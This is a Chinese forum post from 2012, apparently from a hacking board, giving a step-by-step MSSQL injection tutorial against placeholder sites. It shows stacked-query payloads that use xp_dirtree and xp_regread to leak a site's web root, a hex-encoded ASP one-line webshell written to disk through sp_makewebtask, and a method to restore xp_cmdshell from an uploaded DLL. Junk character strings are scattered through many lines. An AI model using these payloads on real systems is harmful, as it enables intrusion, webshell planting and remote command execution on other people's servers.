找回密码
 立即注册
查看: 2849|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'
. ^1 J3 X: c& \" J5 \! K假设我们在test里有两个文件夹test1和test2在test1里又有test3# b$ b. o6 I8 f, e% W' z( B2 ?6 R
结果显示
% y: T/ f# w$ P7 x1 j0 h9 c7 t7 E$ ]1 x$ E7 x5 ?. [
subdirectory depth
9 q% E: \6 H3 l3 R6 ~" q6 U1 Xtest1 13 D3 d% a  b5 M# u) V9 {, T
test3 26 O5 z" w# `7 Z' ]  U1 s
test2 1
5 }2 `+ M$ [" l/ c5 E7 T) e! J2 a* |) j, [
哈哈发现没有那个depth就是目录的级数0 a' N  {1 I; b4 q
ok了,知道怎么办了吧
  }/ m0 E! I! a7 C! k7 P! C+ s+ n' ^7 x- J/ }
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- % Y1 y" S5 }5 _+ T
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
5 y& A0 u& q  i1 L2 ?http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-% G8 S7 f( m5 e6 }, ~( S3 \5 p

5 a, j* N3 d+ P只要加上id=1,就是第一级目录 。
' s6 K7 h2 E1 M4 V8 W' u0 B6 A8 M6 `- J

& K% W+ j: K2 ]1 k+ J8 X通过注册表读网站路径:3 [* R2 b. ~8 Y2 D2 J' k$ m( K
- h3 I7 F$ a8 M9 K, v
1.;create table [dbo].[cyfd] ([gyfd][char](255));
6 [& h9 t' n0 V4 D2 r" i- _$ c" w# \1 ]% \
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
% ~/ X$ b( ]% J. eid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--3 J' \8 ^" i  D9 q1 Y5 W4 d: h
: K4 N8 V1 y: @
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
4 m8 Z& P) J/ o* E: [. pand 1=(select count(*) from cyfd where gyfd > 1) - ]7 O3 T, E3 {; J
这样IE报错,就把刚才插进去的Web路径的值报出来了
9 S8 J  ^5 |' L0 o: T. X. e4 ?
$ B# l* t3 U% r2 i9 z' ]4.drop table cyfd;-- 删除临时表
2 b$ u; B/ p( T7 J1 h- N; `0 c' j' ?
获得webshell方法:1 v) O) _$ P( B! r' o: Y3 J
1.create table cmd (a image)-- \**cmd是创建的临时表2 ~4 v  O2 b* `: r. [' I5 R
* m7 o3 V2 O! G" D7 n1 @" O0 k' a  u
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
4 f  X" E! n9 @$ w0 G8 y6 u
* l# \% ]) \# r0 G
7 v5 y$ z: ]4 p: R4 z  d3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
+ y& E( H, D: X: sEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'- Z0 j8 e! E& g4 R# _! \
) e# m# n7 z1 d: h" x; `
4.drop table cmd;-- 删除cmd临时表: d3 G3 o+ H3 g% p4 J0 O) ?
# Z& N2 W+ s6 z1 c' N+ h0 ?
恢复xp_cmdshell方法之一:, t. L5 ~$ t( B3 T
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:6 u' Q3 k' [0 L6 R4 c) q
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
2 f% C. V3 x9 b& I. O恢复,支持绝对路径的恢复哦。:)
- [& |) a; F: H- q7 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表